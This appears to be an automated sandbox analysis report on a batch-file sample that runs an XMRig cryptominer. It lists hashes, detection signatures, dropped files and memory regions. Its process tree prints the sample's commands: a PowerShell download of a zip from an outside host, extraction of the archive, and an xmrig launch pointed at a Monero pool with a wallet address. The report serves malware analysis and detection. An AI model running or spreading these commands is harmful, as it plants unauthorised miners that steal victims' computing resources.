Analysis

  • max time kernel
    1819s
  • max time network
    1819s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/10/2023, 04:40

General

  • Target

    tesy - Copy (11).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3784
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4900
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1988
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4672
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3400

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          2f57fde6b33e89a63cf0dfdd6e60a351

          SHA1

          445bf1b07223a04f8a159581a3d37d630273010f

          SHA256

          3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

          SHA512

          42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          6c4805e00673bef922d51b1a7137028f

          SHA1

          0eabb38482d1733dd85a2af9c5342c2cafcd41eb

          SHA256

          7af7d25fe7e3bb8b75bcffaa8573e2e9af7e7f70a840fa8bc0196d0ab396ecdd

          SHA512

          eb6dacb4e0da6f45028ebf65ebffdc6aecdb6a34a582bb69aa5836ef02a7115f6b500ef2dd6a2c2be994ec9d0cbbff564368724593666105d3d4475441830cc1

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yfuqd04q.rat.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\test.zip

          Filesize

          3.2MB

          MD5

          3238c0d25d84b6f0bb645bbb29cdbf61

          SHA1

          11ae550c8a82c0793862c366b92072ad7e18befe

          SHA256

          b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

          SHA512

          d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

          Filesize

          170B

          MD5

          78657df2e34e338ff135d3dde69177bf

          SHA1

          d5048a4270b7ba599e941d26d61bfa2e8da31fce

          SHA256

          9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

          SHA512

          f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

          Filesize

          7.9MB

          MD5

          4813fa6d610e180b097eae0ce636d2aa

          SHA1

          1e9cd17ea32af1337dd9a664431c809dd8a64d76

          SHA256

          9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

          SHA512

          5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

        • memory/1988-26-0x00007FFF4CF60000-0x00007FFF4DA21000-memory.dmp

          Filesize

          10.8MB

        • memory/1988-31-0x0000013971C30000-0x0000013971C42000-memory.dmp

          Filesize

          72KB

        • memory/1988-32-0x0000013971C20000-0x0000013971C2A000-memory.dmp

          Filesize

          40KB

        • memory/1988-30-0x000001396F6B0000-0x000001396F6C0000-memory.dmp

          Filesize

          64KB

        • memory/1988-41-0x00007FFF4CF60000-0x00007FFF4DA21000-memory.dmp

          Filesize

          10.8MB

        • memory/1988-29-0x000001396F6B0000-0x000001396F6C0000-memory.dmp

          Filesize

          64KB

        • memory/1988-27-0x000001396F6B0000-0x000001396F6C0000-memory.dmp

          Filesize

          64KB

        • memory/3400-74-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-82-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-47-0x0000021B3C810000-0x0000021B3C850000-memory.dmp

          Filesize

          256KB

        • memory/3400-48-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-49-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-50-0x0000021B3C850000-0x0000021B3C870000-memory.dmp

          Filesize

          128KB

        • memory/3400-51-0x0000021B3C870000-0x0000021B3C890000-memory.dmp

          Filesize

          128KB

        • memory/3400-52-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-53-0x0000021B3C850000-0x0000021B3C870000-memory.dmp

          Filesize

          128KB

        • memory/3400-54-0x0000021B3C870000-0x0000021B3C890000-memory.dmp

          Filesize

          128KB

        • memory/3400-55-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-56-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-57-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-58-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-59-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-60-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-61-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-62-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-63-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-64-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-65-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-66-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-67-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-68-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-69-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-70-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-71-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-72-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-73-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-45-0x0000021B3B010000-0x0000021B3B030000-memory.dmp

          Filesize

          128KB

        • memory/3400-75-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-76-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-77-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-78-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-79-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-80-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-81-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-46-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-83-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-84-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-85-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-86-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-87-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-88-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-89-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-90-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-91-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-92-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-93-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-94-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-95-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-96-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-97-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-98-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-99-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-100-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-101-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-102-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-103-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-104-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-105-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-106-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-107-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-108-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-109-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-110-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-111-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-112-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/3400-113-0x00007FF7D5EB0000-0x00007FF7D69B3000-memory.dmp

          Filesize

          11.0MB

        • memory/4900-5-0x000001B0390F0000-0x000001B039112000-memory.dmp

          Filesize

          136KB

        • memory/4900-10-0x00007FFF4CF60000-0x00007FFF4DA21000-memory.dmp

          Filesize

          10.8MB

        • memory/4900-11-0x000001B036F40000-0x000001B036F50000-memory.dmp

          Filesize

          64KB

        • memory/4900-15-0x00007FFF4CF60000-0x00007FFF4DA21000-memory.dmp

          Filesize

          10.8MB